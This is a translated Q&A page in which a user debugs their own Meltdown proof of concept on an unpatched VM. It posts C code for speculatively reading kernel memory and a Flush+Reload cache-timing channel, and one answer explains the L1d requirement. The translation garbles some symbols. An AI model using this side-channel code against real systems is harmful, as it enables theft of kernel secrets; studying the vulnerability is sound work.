当前位置: 首页 > 知识库问答 >
问题:

鼓励CPU执行Meltdown测试的乱序执行

夹谷承安
2023-03-14

我试图利用Ubuntu 16.04上的崩溃安全漏洞,英特尔酷睿-i5 CPU上的未修补内核4.8.0-364300M。

首先,我使用内核模块将机密数据存储在内核空间的一个地址:

static __init int initialize_proc(void){
    char* key_val = "abcd";
    printk("Secret data address = %p\n", key_val);
    printk("Value at %p = %s\n", key_val, key_val);
}

printk语句给我秘密数据的地址。

Mar 30 07:00:49 VM kernel: [62055.121882] Secret data address = fa2ef024
Mar 30 07:00:49 VM kernel: [62055.121883] Value at fa2ef024 = abcd

然后,我尝试访问此位置的数据,并在下一条指令中使用它缓存数组的元素。

// Out of order execution
int meltdown(unsigned long kernel_addr){
    char data = *(char*) kernel_addr;   //Raises exception
    array[data*4096+DELTA] += 10;       // <----- Execute out of order
}

当执行无序执行时,我希望CPU继续并在索引处缓存数组元素(数据*4096 DELTA)。在此之后,执行边界检查并抛出SIGSEGV。我处理SIGSEGV,然后计算对数组元素的访问时间,以确定缓存了哪个元素:

void attackChannel_x86(){
    register uint64_t time1, time2;
    volatile uint8_t *addr;
    int min = 10000;
    int temp, i, k;

    for(i=0;i<256;i++){
        time1 = __rdtscp(&temp);      //timestamp before memory access
        temp = array[i*4096 + DELTA];
        time2 = __rdtscp(&temp) - time1; // change in timestamp after the access
        if(time2<=min){
            min = time2;
            k=i;
        }

    }
    printf("array[%d*4096+DELTA]\n", k);
}

由于数据中的值是“a”,我希望结果是数组[97*4096 DELTA],因为“a”的ASCII值是97。

然而,这不起作用,我得到了随机输出。

~/.../MyImpl$ ./OutofOrderExecution 
Memory Access Violation
array[241*4096+DELTA]

~/.../MyImpl$ ./OutofOrderExecution 
Memory Access Violation
array[78*4096+DELTA]

~/.../MyImpl$ ./OutofOrderExecution 
Memory Access Violation
array[146*4096+DELTA]

~/.../MyImpl$ ./OutofOrderExecution 
Memory Access Violation
array[115*4096+DELTA]

我可能想到的原因有:

  1. 缓存数组元素的指令没有无序执行
  2. 正在发生无序执行,但正在刷新缓存
  3. 我误解了内核模块中内存的映射,我使用的地址不正确

由于系统很容易崩溃,我确信排除了第二种可能性。

因此,我的问题是:为什么乱序执行在这里不起作用?是否有任何选项/标志“鼓励”CPU乱序执行?

我已经尝试过的解决方案:

  1. 使用clock\u gettime代替rdtscp对内存进行定时访问
void attackChannel(){
    int i, k, temp;

    uint64_t diff;
    volatile uint8_t *addr;
    double min  = 10000000;
    struct timespec start, end;

    for(i=0;i<256;i++){
        addr = &array[i*4096 + DELTA];
        clock_gettime(CLOCK_MONOTONIC, &start);
        temp = *addr;
        clock_gettime(CLOCK_MONOTONIC, &end);
        diff = end.tv_nsec - start.tv_nsec;
        if(diff<=min){
            min = diff;
            k=i;
        }
    }
    if(min<600)
        printf("Accessed element : array[%d*4096+DELTA]\n", k);
}
void meltdown_busy_loop(unsigned long kernel_addr){
    char kernel_data;
    asm volatile(
        ".rept 1000;"
        "add $0x01, %%eax;"
        ".endr;"

        :
        :
        :"eax"
    );
    kernel_data = *(char*)kernel_addr;
    array[kernel_data*4096 + DELTA] +=10;
}
int meltdown(unsigned long kernel_addr){   
    // Cache the data to improve success
    int fd = open("/proc/my_secret_key", O_RDONLY);
    if(fd<0){
        perror("open");
        return -1;
    }
    int ret = pread(fd, NULL, 0, 0);    //Data is cached
    char data = *(char*) kernel_addr;   //Raises exception
    array[data*4096+DELTA] += 10;       // <----- Out of order
}

对于任何有兴趣设置它的人,这里是指向github repo的链接

为完整起见,我在下面附加了主要函数和错误处理代码:


void flushChannel(){
    int i;
    for(i=0;i<256;i++) array[i*4096 + DELTA] = 1;

    for(i=0;i<256;i++) _mm_clflush(&array[i*4096 + DELTA]);
}

void catch_segv(){
    siglongjmp(jbuf, 1);
}

int main(){
    unsigned long kernel_addr = 0xfa2ef024;
    signal(SIGSEGV, catch_segv);

    if(sigsetjmp(jbuf, 1)==0)
    {
        // meltdown(kernel_addr);
        meltdown_busy_loop(kernel_addr);
    }
    else{
        printf("Memory Access Violation\n");
    }

    attackChannel_x86();
}

共有1个答案

家志学
2023-03-14

我认为数据需要在L1d中才能Meltdown工作,并且尝试仅通过没有权限的TLB/页表条目读取它不会将其带入L1d。

http://blog.stuffedcow.net/2018/05/meltdown-microarchitecture/

当出现任何类型的不良结果(页面错误、从非推测性内存类型加载、页面访问位=0)时,所有处理器都不会启动非核心L2请求来获取数据。

除非我遗漏了什么,否则我认为只有当允许读取的内容将数据带入L1d时,数据才容易崩溃。(直接或通过硬件预取。)我认为反复的熔毁攻击不会将RAM中的数据带入L1d。

尝试向模块中添加一个系统调用或其他内容,该模块对机密数据使用READ\u ONCE()(或手动写入*(volatile int*)

至少使用imul(3c延迟),或者更好地使用xorps%xmm0,%xmm0重复的sqrtpd%xmm0,%xmm0(单uop,Haswell上的16周期延迟)https://agner.org/optimize/.

 类似资料:
  • 主要内容:1 概述,2 测试执行顺序,3 例子,4 结论1 概述 在本指南中,我们将学习如何按顺序执行测试。默认情况下,JUnit以任何顺序执行测试。 2 测试执行顺序 要更改测试执行顺序,只需使用@FixMethodOrder注释测试类并指定可用的MethodSorters之一: @FixMethodOrder(MethodSorters.JVM):按照JVM返回的顺序保留测试方法。此顺序可能因运行而异。 @FixMethodOrder(Method

  • 22.13.1.执行测试 测试从main构建过程中分离出来的,运行在一个单独的JVM中执行.Test任务允许控制这些如何发生. 有许多属性用于控制测试过程如何启动.这包括使用诸如系统属性,JVM参数和Java可执行文件。 可以指定是否要并行执行测试.Gradle通过同时运行多个测试进程提供并行执行测试.每个测试进程在同一时间只能执行一个测试,为了充分利用这一特性,一般不需要为tests任务做什么特

  • 问题内容: 我想选择执行JUnit测试的顺序。我有4个带有几种测试方法的类,我的目标是执行,例如,类A的方法Y,然后是类B的方法X,最后是类A的方法Z。 你能帮忙吗? 问题答案: 通常,您不能指定单独的单元测试的运行顺序(尽管您可以在TestNG中指定优先级,并且每个测试的优先级都不同)。但是,单元测试应该能够独立运行,因此测试的顺序无关紧要。这是一个坏习惯。如果需要按特定顺序进行测试,则应重新考

  • 乱序缓存(reorder buffer,简称ROB)可以容纳40条微码。 一条微码呆在ROB中,直到所有它需要的操作数都已就绪并且有一个空的执行单元可用。 这一切使得乱序执行成为可能。 如果一部分代码因为cache不命中被延迟,且之后的代码独立于被延迟的操作,那么后面的代码不会被延迟。 写内存的操作无法乱序执行,其它的写操作都能。 一共有4个写缓存。 因此如果你预计写操作时会有很多cache不命中

  • 问题内容: 我已经为Web API实现了多个软件包,每个软件包都有自己的测试用例。使用测试通过每个包装时通过。如果我想一次用测试案例运行所有测试,则总是失败。 在每个测试案例中,我使用来重新创建整个架构,并应用所有迁移。测试套件随机报告错误,说不存在关系/表,所以我猜每个测试套件(每个程序包)都以某种方式并行运行,从而弄乱了数据库状态。 我试图通过一些测试标志,例如没有成功。 这里的问题可能是并行

  • 测试用例使用JUnitCore类执行。 JUnitCore是运行测试的外观。 它支持运行JUnit 4测试,JUnit 3.8.x测试和混合。 要从命令行运行测试,请运行java org.junit.runner.JUnitCore“TestClass”。 对于一次性测试运行,请使用静态方法runClasses(Class [])。 以下是org.junit.runner.JUnitCore类的声